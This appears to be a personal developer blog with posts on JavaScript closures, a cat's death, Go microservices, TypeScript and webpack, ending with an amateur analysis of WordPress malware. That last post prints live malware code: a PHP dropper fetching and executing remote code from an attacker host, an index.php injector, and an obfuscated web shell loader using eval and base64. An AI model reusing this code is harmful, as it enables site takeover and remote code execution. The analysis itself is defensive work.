Mostly self-documentation for a career in software

Closure in Javascript

### Functions with backpacks.

Closure is one of those concepts in Javascript that's both a core component of the language and at the same time kind of tricky and mysterious. I know for me it was a bit intimidating coming at it from a non CS background. Ultimately the best way I learned to use it to my advantage when writing code for the web was to keep implementing it whenever I had the chance until the concept stuck.

So what is closure? Below is a pretty common example used to illustrate what closure is:

```js
const closureFn = () => {
  let count = 0;

  return (() => {count++})
}

const count = closureFn();

count() // 1
count () // 2
```
Essentially it's a characteristic of functions that "remember" the previous value that lives within the scope of the outer function. There are two functions being created here and what you're assigning to the count variable below the function is the return value of closureFn.

So why is this powerful? 

Closure is powerful for a variety of reasons (depending on your use-case) but one thing it does provide is the ability to avoid polluting the global scope. It helps to keep your programs "clean" in that you can have functions with specific values you're performing operations on which gives you the ability to more easily trace values in your program (also why it's important to have good naming conventions for what your functions do).

Closure is one of those concepts that people find kind of unapproachable and intimidating at first and even if you find yourself avoiding it you can find yourself using it everyday without even realizing it. Take the React library for example. 

With the shift to using functional components, and when I started using them myself in my own applications, I realized at some point that I was using closure and functional programming concepts (or trying to at least) without even knowing it. Let's take a look at an example:

```js
const SomeComponentWithState = () => {
  const [count, setCount] = useState(0);

  return (
    <div>
    <h1>{count}</h1>
    <button onClick={() => setCount(count++)}>Click Me</button>
    </div>
  )
};
```

What we have here is very simliar to the example in plain JS earlier. The only difference is that this is a react component that is pulling in different functions, or hooks, to gain access to different features of the React Library. Essentially what this returns is JSX, which is basically JS disguised as HTML using react.createElement under the hood. A locally managed state scoped to the component is created and recreated on every render. The values that are contained within this component are closed-over essentially and have no access to the outside scope which also means that no other code from the outside can affect any value inside this function.

This is one of the foundational ideas behind React and it's component architecture for creating user interfaces and closure is one of those foundational concepts of JS that makes it possible for functions to "talk" to each other without polluting the global scope.





Error Gizmo.exe Not Found


[![Gizmo.exe](https://github.com/timegated/tyfyi-blog/blob/master/public/gizmo-exe.jpg?raw=true)](Gizmo)


I lost my cat of six years yesterday in a very frightening and abrupt way. She had been having some trouble breathing the Friday before the start of the week but she had always been weezing here and there since the day we got her. My wife and I didn't think much of it and hoped it would improve on it's own. 

That didn't happen. Instead her condition worsened and by the time I was done describing Gizmo's symptoms over the phone to her vet I was told to take her to an emergency clinic immediately. I hesitated because I really didn't want or need any bad news that day and with the knowledge that, in general, if there is anything seriously wrong with an animal the next step is almost always euthanasia. After I shut my feelings off, I scooped her into the carrier and carted her off anyway since that's the logical thing to do when a medical doctor makes a strong recommendation and practicing good sound logic is something I apply daily in my line of work. 

After nearly three and a half of hours of waiting at the hospital and getting lost in my head over what this sudden malady could be my wife and I were called into an examination room to get an update from the doctor. The doctor was incredible and did everything she could to explain to us what was happening, what caused this, and the prognosis. None of what she told us indicated anything good was about to happen. It turned out Gizmo had something called immune-mediated thrombocytopenia, of which there are two kinds: the kind with no apparent cause and the kind that is a secondary effect of some other cause (think cancer, feline auto-immune disease, or the ingestion of rat-poison). The disease causes the cat's body to start attacking it's own platelets (blood cells) and can result in internal bleeding. About one-percent of cats get this thing and the treatment involves blood transfusions and medications indefinitely at different intervals if they ever get it. 

Next came the x-ray. After showing us what a normal cat lung looks like the doctor gently slid over the printout of what was going on in Gizmo's lungs. Turns out both were completely full of blood which explained the increasing trouble breathing. My wife and I were in total shock and then devastated in short order. This pretty much meant the end barring some miracle, and at eight years old it also meant this was going to be a tragic end. Good sound logic dictates that a) at this point I have received critical information about the state of my cat and b) that the only choice here is to mitigate the suffering and ensure a smooth transition into the after life (if you believe in that sort of thing, I do). This was definitely an edge-case, an oversight, something you can't predict happening that even confounded the doctor; we were asked multiple times if she had gotten into anything, eaten anything, had any other possible exposure to something that could have caused this. All of that led us to the conclusion that this was a rare event in that what Gizmo had more than likely had no other cause. A freak incident. An act of god. Completely random and unexpected (and difficult to detect especially since cat's have a hard time in general of letting you know when something is up).

I kept thinking, "these things happen, there are no guarantees". Chaos exists at the periphery of everyone's life. Every once in awhile it barges in and rearranges the order in which you've structured things (in this sense emotionally and mentally). In my job it's around every corner, every button click, every line of code written, and every feature request. My goal is to prevent it from happening with the aim of providing a structure for how things should behave either through the application of a pattern, data structure, architectural decision, or anything else people in this industry think of to try to reign in a chaotic outcome once our work hits the production environment. Whenever something goes wrong with what I work on I can usually discern pretty quickly what's happening and fix it. Whenever something goes terribly wrong in life there are no such solutions, at least not quick ones, you just have to deal with it, all the dimensions of your grief and everything that goes along with that. 

There are two instances in particular with respect to Gizmo's life that came to mind in the aftermath of losing her. The first was that she came to us under traumatic circumstances as the result of the death of a close friend, which happened suddenly. I went over to where he was living after he passed to gather some of his belongings and she was there in the yard. She approached me and I picked her up to jokingly ask her if she saw what happened (her name wasn't Gizmo yet). I really didn't think much of it. A few days later I got a call asking me if I wanted the cat and I said yes as a way to both remember my friend and to take care of something that he also loved. I named her Gizmo after the Mogwai from Gremlins (which had a happy ending). 

The second instance involved another friend who was dying of cancer. The day before I found out he was having another surgery I randomly texted him a picture of Gizmo to try to cheer him up:

[![Gizmo-Smiling.exe](https://github.com/timegated/tyfyi-blog/blob/master/public/gizmo-exe-2.jpg?raw=true)](Gizmo-Smiling)

After he saw the picture he called me later and said, "Hey bud, that's a nice cat", his condition had taken a turn for the worst and there was a good chance this would be the last phone call we would have. The next day I called his number with the hope that he would answer but someone else picked up the phone (his sister) and confirmed the worst. Suddenly, and without warning.

Suddenly, and without warning. That more or less sums up the life of my cat who, in my mind, I considered a friend or at least the representative of someone I cared about deeply. Shortly after the funeral we picked up and left for Los Angeles, California. Gizmo got to fly on a plane in coach (pretty good for a cat that came from the streets of South Philadelphia). She got to experience all the nice weather here. All in all she got to experience all the changes that come from living with people who care. She was with me when I decided to change my life, every step of the way. I'm not going to say that I couldn't have done it without her, but she sure made things a whole lot easier, in ways I didn't realize until now. So thank you Gizmo. You weren't just a cat you were a character.

**P.S.**

Say Hi to my friends for me if you see them around, wherever you wind up.







Microservices With Go


**Intro: What is a Microservice?**

In a nutshell microservice is a self-contained piece of software that talks to other applications as part of a larger distributed system. In other words it's basically the idea of composable backend services that "talk" to each other to achieve a certain objective, usually a business objective.

I tend to think of it like cell. Each individual cell has a job that it performs as part of a larger collection of smaller parts that make up a complex whole. It helps sometimes to use basic examples to structure thinking around the "why" related to doing something like a microservice. There's something very human about this way of thinking about what machines do with the code we write.

This separation of concerns into smaller parts acts, in theory, as a way to better organize functionality, more easily diagnose problems (most of the time), and offers a sense of both extensibility and flexibility as far as repurposing any of the component parts of a system in the event that a refactoring (or a complete teardown) needs to happen.

The question for me then is how much granularity do you want when architecting a series of interconnected services? How small should we go when it comes to encapsulating business logic and exposing endpoints? This is where things get tricky and it really comes down to a matter of experience. A lot of the time, and this probably isn't popular in the software engineering world, but there's definitely a feeling at the gut level that something is amiss when I'm in the middle of trying to solve some problem. 

At the same time though there's no limit on the number of lines of code per microservice, or when there's too many methods or routes. For the most part it's go without the code "smells" or feels. Once you have enough there and the tests are passing, the data is getting created or whatever else needs to happen. In this sense it all depends.

Example of a simple webserver written in go using gin, a library that contains abstractions for setting up the logic of a server.


```go
package simple

import (
    "net/http"

    "github.com/gin-gonic/gin"
)

// album represents data about a record album.
type album struct {
    ID     string  `json:"id"`
    Title  string  `json:"title"`
    Artist string  `json:"artist"`
    Price  float64 `json:"price"`
}

// albums slice to seed record album data.
var albums = []album{
    {ID: "1", Title: "Blue Train", Artist: "John Coltrane", Price: 56.99},
    {ID: "2", Title: "Jeru", Artist: "Gerry Mulligan", Price: 17.99},
    {ID: "3", Title: "Sarah Vaughan and Clifford Brown", Artist: "Sarah Vaughan", Price: 39.99},
}

func webserver() {
    router := gin.Default()
    router.GET("/albums", getAlbums)
    router.GET("/albums/:id", getAlbumByID)
    router.POST("/albums", postAlbums)

    router.Run("localhost:8080")
}

// getAlbums responds with the list of all albums as JSON.
func getAlbums(c *gin.Context) {
    c.IndentedJSON(http.StatusOK, albums)
}

// postAlbums adds an album from JSON received in the request body.
func postAlbums(c *gin.Context) {
    var newAlbum album

    // Call BindJSON to bind the received JSON to
    // newAlbum.
    if err := c.BindJSON(&newAlbum); err != nil {
        return
    }

    // Add the new album to the slice.
    albums = append(albums, newAlbum)
    c.IndentedJSON(http.StatusCreated, newAlbum)
}

// getAlbumByID locates the album whose ID value matches the id
// parameter sent by the client, then returns that album as a response.
func getAlbumByID(c *gin.Context) {
    id := c.Param("id")

    // Loop through the list of albums, looking for
    // an album whose ID value matches the parameter.
    for _, a := range albums {
        if a.ID == id {
            c.IndentedJSON(http.StatusOK, a)
            return
        }
    }
    c.IndentedJSON(http.StatusNotFound, gin.H{"message": "album not found"})
}
```

We deploy something like this, expose the routes to our network, and then call those routes from other services for different uses. Exposing these routes over a network allows us to connect this service with other services to do something with the data it sends.

This other service could be written in Javascript, Python, Java, Python, C# or whatever backend language is suitable for the task at hand or that you're comfortable with, as long as an endpoint (basically a url) is exposed and is accessible by another backend service.

Looking into TS


Recently I found myself volunteering some time for a skillsharing app written with React and typescript that uses the Ionic framework for cross-platform compatibility. They're also using GraphQL for the backend and frontend data-handling which is also interesting to me as I've mostly stuck to the REST architecture for building out that side of an application. I've chosen to mostly spend my time on the frontend straightening out the CSS using the styled-components library.

This wasn't my first brush with Ionic. Last year a friend was building a mobile app and brought me on to build out the marketing page for it. When he asked me to help him out on the Ionic side of things I took a look at the default tsx files (Ionic automatically generates all it's templates with TS) and shyed away deciding I wasn't quite ready to learn TS at that point since I didn't feel I had a strong enough foundation in Javascript to start learning a superset of the language.

Needless to say I'm in the deepend now with TS as there is currently four weeks until the beta is up for this current application and I've been put in charge of fixing a few bugs with phone verification among others. The learning curve itself has not been too bad but there are some deeper TS concepts at play here with some of the components (concerning asynchronous loading of data). In short I don't always understand why TS is yelling at me and it likes to yell a lot about things that I could normally get away with writing JS. 

A simple example:

```js
function nameAndNumber (name, number) {
  if(typeof name !== 'string' && typeof number !== 'number') {
    return
  }

  return {
    name: name.toUpperCase(),
    number: number * 2
  }
}

```
This is a basic function that takes in a name and a number and returns an object with the capitalized name and a number multiplied by two. The if check here is what really matters, what this does is uses the typeof operator to check the values of the incoming arguments and returns if those values don't match the ones specified in the check. Imagine writing these if checks for every single function being used in a large application in order to add a layer of safety concerning the types of your values.

```ts
function nameAndNumber (name: string, number: number) {
  return {
    name: name.toUpperCase(),
    number: number * 2
  }
}
```

With typescript (once you have everything configured that is), you can declare the type of the parameter within the parenthesis. This negates the need for an if-check for the values of arguments (not to mean this completely removes the need for conditionals). 

Since typescript is a superset of javascript there is a compile step because browsers can only process javascript. The compilation step here is really where the magic happens as far as adding a layer of safety and increaing the reliability of your application. It's here that bugs are caught since if a value doesn't match it's given type an error will be thrown such as if we tried to pass a number to the name parameter.






Webpack Boilerplate


I came to webpack shortly after I got started learning React two years ago. 

At first React seemed like it was doing all these mysterious things under the hood while I watched the scripts run in my other terminal after starting up the development environment. 

I had questions such as:

- What exactly is going on here?
- How is this a benefit to me?
- What do all those lines of text the terminal keeps spitting out mean?
- What is a bundle?

When most people get started with a framework like React they generally use create-react-app (the most popular tool for bootstrapping a React project), which is what I did for probably the first three months of me using the library. It dawned on me at some point that in a professional environment for production apps CRA probably is not used in the way I was using to set up smaller projects for learning purposes. 

So that brought me to webpack, the underlying bundler tool that makes all the script commands work in CRA. 

```json
"scripts": {
    "start": "react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject"
  }
```

Under the hood here webpack is doing some bundling. Bundling is basically recompiling code into an "uglier" form for optimization purposes so what you end up with is a more performant site right off the bat, but that's just one of the benefits.

There is a lot to unpack as far delving into what react-scripts is doing, there are many files and functions that are doing a lot of heavy lifting in the background whenever you run one of the above commands in your terminal. 

Webpack works in tandem with a few other tools to accomplish this bundling, namely babel. Babel is for transpiling, which means that any javascript you write that contains newer features will be "backported" or recompiled into a version that works with older browsers. The idea here is taking into consideration cross-browser and cross-internet-capacity (not everyone has great internet) by default when developing apps using modern techniques.

So what set up do I use? 

Webpack works with entry points and templates (for html files). If you don't specify a template that's also fine, it will generate one for you. For the JS an index.js file must be specified as the main point where any other JS you write will be bundled. 

I generally start with three different config files, a common, dev, and production configuration. The common config specifies the main JS file, the html template, and the image loader. Dev config looks for the bundle currently being loaded as well as a template and modules for loading css. 

Common:
```js
const path = require("path");
var HtmlWebpackPlugin = require("html-webpack-plugin");

module.exports = {
  entry: {
    main: "./src/js/index.js",
  },
  module: {
    rules: [
      {
        test: /\.html$/,
        use: ["html-loader"]
      },
      {
        test: /\.(svg|png|jpg|gif|pdf)$/i,
        use: {
          loader: "file-loader",
          options: {
            name: "[name].[hash].[ext]",
            outputPath: "imgs",
          },
        },
      },
    ],
  },
};
```
Dev:
```js
const path = require("path");
const common = require("./webpack.common");
const { merge } = require("webpack-merge");
var HtmlWebpackPlugin = require("html-webpack-plugin");

module.exports = merge(common, {
  mode: "development",
  output: {
    filename: "[name].bundle.js",
    path: path.resolve(__dirname, "dist")
  },
  plugins: [
    new HtmlWebpackPlugin({
      template: "./src/index.html"
    })
  ],
  module: {
    rules: [
      {
        test: /\.scss$/,
        use: [
          "style-loader",
          "css-loader",
          "sass-loader",
        ],
      },
    ],
  },
});
```

Finally the production config, when you're ready to run your build command, looks for filename, content hash, and uses a few plugins to both minify the code, remove whitespace and comments, and optimize your css output. Ultimately what the prod config file does is reduce the size of all your files and outputs them in an minified way. 

Prod: 
```js
const path = require("path");
const common = require("./webpack.common");
const { merge } = require("webpack-merge");
const { CleanWebpackPlugin } = require("clean-webpack-plugin");
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
const OptimizeCssAssetsPlugin = require("optimize-css-assets-webpack-plugin");
const TerserPlugin = require("terser-webpack-plugin");
var HtmlWebpackPlugin = require("html-webpack-plugin");

module.exports = merge(common, {
  mode: "production",
  output: {
    filename: "[name].[contentHash].bundle.js",
    path: path.resolve(__dirname, "dist")
  },
  optimization: {
    minimizer: [
      new OptimizeCssAssetsPlugin(),
      new TerserPlugin(),
      new HtmlWebpackPlugin({
        template: "./src/index.html",
        minify: {
          removeAttributeQuotes: true,
          collapseWhitespace: true,
          removeComments: true
        }
      })
    ]
  },
  plugins: [
    new MiniCssExtractPlugin({ filename: "[name].[contentHash].css" }),
    new CleanWebpackPlugin()
  ],
  module: {
    rules: [
      {
        test: /\.scss$/,
        use: [
          MiniCssExtractPlugin.loader, 
          "css-loader", 
          "sass-loader",
        ],
      },
    ],
  },
});
```

This is basically the starting point for me when building a site or app with webpack and I've used this config for my portfolio site.






WP Malware Analysis

## Wordpress Malware, Base64, and PHP
#### Analysis of the code behind the attack.

Recently a friend of mine noticed something weird about her company's website. There were links on the page that were redirecting to http://buymskey.com, which is unsecure since it uses http. 
Immediately I figured that this was some kind of malware that had found it's way into the site and after I found my way into the code I noticed strange files in almost every directory. 

Below is a sample of the code:

 ```php
 //this is require_editor file start
    error_reporting(0);
      set_time_limit(0);
      $log_sure=True;
      $write_file='write_work_complete.log';
  if (file_exists($write_file)==True){
	$get_content=file_get_contents($write_file);
	if ((strpos($get_content, 'confirm:start of editor file') !== false) && (strpos($get_content, 'confirm:end of editor file') !== false)){
		$content=$get_content;
	} else {
		$log_sure=False;
	}
  } else {
	$log_sure=False;
  }
  if($log_sure==False){
	  if(function_exists('curl_init')){
	  $s = curl_init();
	  curl_setopt($s,CURLOPT_URL,'http://mir.buymskey.com/tool/editor.txt');
	  curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
	  curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36');
	  curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
	  curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
	  curl_setopt($s, CURLOPT_HTTPHEADER, array('Expect:'));
	  curl_setopt($s, CURLOPT_ENCODING, "");
	  curl_setopt($s, CURLOPT_SSL_VERIFYPEER, false);
	  curl_setopt($s, CURLOPT_CONNECTTIMEOUT , 20);
	  curl_setopt($s, CURLOPT_TIMEOUT, 20);
		curl_setopt($s, CURLOPT_COOKIE, 'foo=bar');
	$content = curl_exec($s);
	  curl_close($s);
	  }else{
	  $options = array(
	  'http'=>array(
		'method'=>"GET",
		'timeout'=>20,
		'header'=>"Accept-language: en\r\n" .
				  "Cookie: foo=bar\r\n" .  // check function.stream-context-create on php.net
				  "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" // i.e. An iPad 
	  ),
	  "ssl"=>array(
				  "verify_peer"=>false,
				  "verify_peer_name"=>false,
	  )
	);
		$content = file_get_contents('http://mir.buymskey.com/tool/editor.txt', false, $context1);
	}
	  file_put_contents($write_file,$content);
  }
/*
  if (file_exists('write_check_class.log')==True){
	$check_content=file_get_contents('write_check_class.log');
	if ($check_content!='refer check class'){
		$check_sure=False;
	}
  } else {
	$check_sure=False;
  }*/
  $file_name=dirname(__FILE__);
  file_put_contents('write_check_class.log',$file_name.':::refer check class');
  $last_log_sure=True;
  if (file_exists($write_file)==True){
	$last_get_content=file_get_contents($write_file);
	if ((strpos($last_get_content, 'confirm:start of editor file') !== false) && (strpos($last_get_content, 'confirm:end of editor file') !== false)){
		require($write_file);
	}
	else{
		echo 'editor not exist!!!';
	}
  } else {
	echo 'editor not exist!!!';
  }
  //this is require_editor file end
```
	
	
	
So the question becomes: what the hell is this code doing? PHP isn't really in my wheelhouse as I spend most of my time writing JS and building apps with it's associated frameworks. But let's see what we can infer or "grok" from what's written here.

First few lines: 

```php

 //this is require_editor file start
    error_reporting(0);
      set_time_limit(0);
      $log_sure=True;
      $write_file='write_work_complete.log';
  if (file_exists($write_file)==True){
	$get_content=file_get_contents($write_file);
	if ((strpos($get_content, 'confirm:start of editor file') !== false) && (strpos($get_content, 'confirm:end of editor file') !== false)){
		$content=$get_content;
	} else {
		$log_sure=False;
	}
  } else {
	$log_sure=False;
  }
```

This is the first if-block of the malware here and prior to this if-block it seems there are two functions being called here and two variables being declared with the boolean value true and a file created with the name write_work_complete.log. Notice the comment left in by the developer as well, it looks like there might be a GUI or some sort of "editor" that this code is possibly feeding data to.

Within that if-block there is a check to see if the write_work_complete file already exists and if it does the file_get_contents function is executed. 

This pretty much all leads to this main file which was responsible for the creation of these smaller files seen earlier:

```js

// Main file that generated the smaller files with random files names
echo "write page file exist!!!";
if ((array)$_SERVER["DOMAIN_PATH"]){
	$root=$_SERVER["DOMAIN_PATH"];
} else {
	$root=$_SERVER["DOCUMENT_ROOT"];
}
$index_file="D:\phpStudy\WWW\wordpress\index.php";
$static_index=False;
$domain=$_SERVER["SERVER_NAME"];
$mix_strs='abcdefghijklmnopqrstuvwxyz';
$root_file=$root.'/index.php';
function get_url_con($con_s){
    if(function_exists('curl_init')){
        $s = curl_init();
        curl_setopt($s,CURLOPT_URL,$con_s);
        curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
        curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
        curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
        return curl_exec($s);
    }else{
        return @file_get_contents($con_s);
    }
}
$options = array(
  'http'=>array(
    'metod'=>"GET",
    'timeout'=>60,
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n" .  // check function.stream-context-create on php.net
              "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10" // i.e. An iPad 
  ),
  "ssl"=>array(
              "verify_peer"=>false,
              "verify_peer_name"=>false,
  )
);
$context = stream_context_create($options);
$wrote_content=get_url_con('http://mir.buymskey.com/wrote/wrote');
$wrote_content_split=explode('$searchsite="',$wrote_content);
$sub_num=strpos($wrote_content,'";
$confirm');
$wrote_end=substr($wrote_content,$sub_num);
$before_index_content='';
$index_names=array($index_file,$root_file);
if ((isset($_GET['searchsite']))&&(isset($_GET['searchtxt']))&&(isset($_GET['texturl']))&&(isset($_GET['page']))&&(isset($_GET['state']))){
	$edit_sure=False;
	foreach ($index_names as $value){
		if ($edit_sure===False){
			if (((file_exists($value))&&($value==$root_file))||(($value==$index_file))){
			$before_index_content=file_get_contents($value);
			$searchsite=$_GET['searchsite'];
			$searchtxt=$_GET['searchtxt'];
			$texturl=$_GET['texturl'];
			$page=$_GET['page'];
			$state=$_GET['state'];
			$find_index=False;
			if ($static_index==False){
				$renew_index_content=$wrote_content_split[0].'$searchsite="'.$searchsite.'";'."\r\n".'$searchtxt="'.$searchtxt.'";'."\r\n".'$texturl="'.$texturl.'";'."\r\n".'$page="'.$page.'";'."\r\n".'$state="'.$state.$wrote_end.$before_index_content;
			}
			else {
				$suf_list=array('htm','html','shtml','shtm');
				$index_file_list=explode('/',$value);
				$index_dir='';
				for ($i=0; $i<=(count($index_file_list)-2); $i++){
					$index_dir.=$index_file_list[$i].'/';
				}
				foreach ($suf_list as $suf){
					$index_html='index1.'.$suf;
					if (file_exists($index_dir.$index_html)==True){
						echo $index_dir.$index_html." site file exists!!!\r\n";
						if ($find_index==False){
							$renew_index_content=$wrote_content_split[0].'$searchsite="'.$searchsite.'";'."\r\n".'$searchtxt="'.$searchtxt.'";'."\r\n".'$texturl="'.$texturl.'";'."\r\n".'$page="'.$page.'";'."\r\n".'$state="'.$state.$wrote_end.'<?php'."\r\n".'echo file_get_contents("'.$index_html.'");'."\r\n".'?>'.$before_index_content;
							$find_index=True;
						}
					}
				}
			}
			if (($static_index==False)||($find_index==True)){
				$edit_sure=True;
				file_put_contents($value,$renew_index_content);
				$after_index_content=file_get_contents($value);
				if ($after_index_content==$renew_index_content){
					echo $domain.' ::: '.$searchsite.' ::: '.$searchtxt.' ::: '.$texturl.' ::: '.$page.' ::: '.$state.' :::edit '.$value." succeed!!!\r\n";
				}else{
					echo $domain.' ::: '.$searchsite.' ::: '.$searchtxt.' ::: '.$texturl.' ::: '.$page.' ::: '.$state.' :::edit '.$value." failed???\r\n";
				}
			}
			else{
				echo '$static_index is True but without $index_html, edit failed???';
			}
			}
		}
	}
}
else{
	echo 'please set enough parameter!!!';
}

```

In searching for answers as to what this code is doing I found this repo for malware analysis specifically concerning Wordpress websites, <a href="https://github.com/bediger4000/php-malware-analysis/tree/master/webshells/kaylin" target="_blank">kaylin web shell analysis</a>. Bediger4000 describes this as a fully featured chinese language web shell (pretty scary stuff) complete with a GUI and code that is designed to search for MySQL and Oracle databases remotely on anyone that's infected with it. 

What it primarily does is this: 

```js
	$password = "1e89117b6bab59e6562df2355e81c158"; 

	define('VERSION','kaylin');

 $register_key = array 
( 
	array
	(
		'CQ9jnUNtDTIlpz9lK3WypT9lqTyhMluSK0IFHx9FXGgNnJ5cK3AyqPtaMTympTkurI9ypaWipaZaYPqCMzLaXGgN' , 
		'nJ5cK3AyqPtaoJS4K2I4MJA1qTyioy90nJ1yWljkZQNjZPx7nTIuMTIlXPWwo250MJ50YIE5pTH6VUEyrUDinUEg' , 
		'oQftL2uupaAyqQ1aLwVmZGVvXGgzqJ5wqTyiovOmqUWxnKVbWUA0pvxtrlOlMKE1pz4tp3ElK3WypTkuL2HbLKWl' , 
		'LKxbW1kpWljaYl8aYPpyZwpaYPpyZwVaXFkupaWurFtaYlpfWl8aYPqpWlpfWlVaXFkwnT9jXPEmqUVcXGftsJM1' , 
		'ozA0nJ9hVTAbn2qjLltxLKWlLKxcVUftMz9lMJSwnPtxLKWlLKxtLKZtWTgyrFN9CvNxqzSlXFO7VPEupaWurIfx' , 
		'n2I5KFN9VTymK2SlpzS5XPE2LKVcVQ8tL2ueM3OwXPE2LKVcVQbtp3ElnKOmoTSmnTImXPE2LKVcBlO9VUWyqUIl' , 
		'ovNxLKWlLKx7VU0xoKyznJkyVQ0tWS9GEIWJEIWoW1AQHxyDIS9TFHkSGxSAEFqqVQ8tp3ElMTylXPEsH0IFIxIF' , 
		...

		// BLOG AUTHORS COMMENT: and here

		/**
 * Language and charset conversion settings
 */
$check_copyright = create_function /*Copyright*/ 
( 
	
	"/*\x64\x65\x28\x73\x74\x72*/\x24\x63\x6f\x64\x65/*\x63\x6f\x64\x65\x29*/" , 
	"/*\x36\x34\x5f\x64\x65*/\x65\x76\x61\x6c\x20\x28\x20\x27\x20\x3f\x3e\x27" . 
	"\x20\x2e\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28" . 
	"\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x20\x28\x20\x6a\x6f\x69\x6e\x20" . 
	"\x28\x20\x27\x27\x20\x2c\x20\x24\x63\x6f\x64\x65\x20\x29\x20\x29\x20\x29" . 
	"\x20\x2e\x20\x27\x3c\x3f\x70\x68\x70\x20\x27\x20\x29\x3b/*\x63\x6f\x64*/" 
	
) ; 


$global_version = array_walk /*Version*/ 
( 
	
	$register_key , 
	
	 $check_copyright 
	
) ; 
```

There is a password here to access whatever server their using to store the hacked sites information and feed that into their UI, from there they have free reign into what they can execute onto your site. 

Think of it like FTP except through a backdoor and instead of whoever is maintaining your WP site it's some random guy somewhere in the world executing arbitrary scripts that could say, redirect users when they click on certain links. Contained within that array are base_64 encoded chinese characters that don't make a whole lot of sense when run through a translator (or shown to anyone who speaks chinese fluently). 

My best guess for what that is is site information of some sort. Those hex encoded strings contained in the second array at the very bottom of the file are actually another PHP script that decodes what is in the first array and sends that off to the GUI.






Thank You For Your Interest

Recent Posts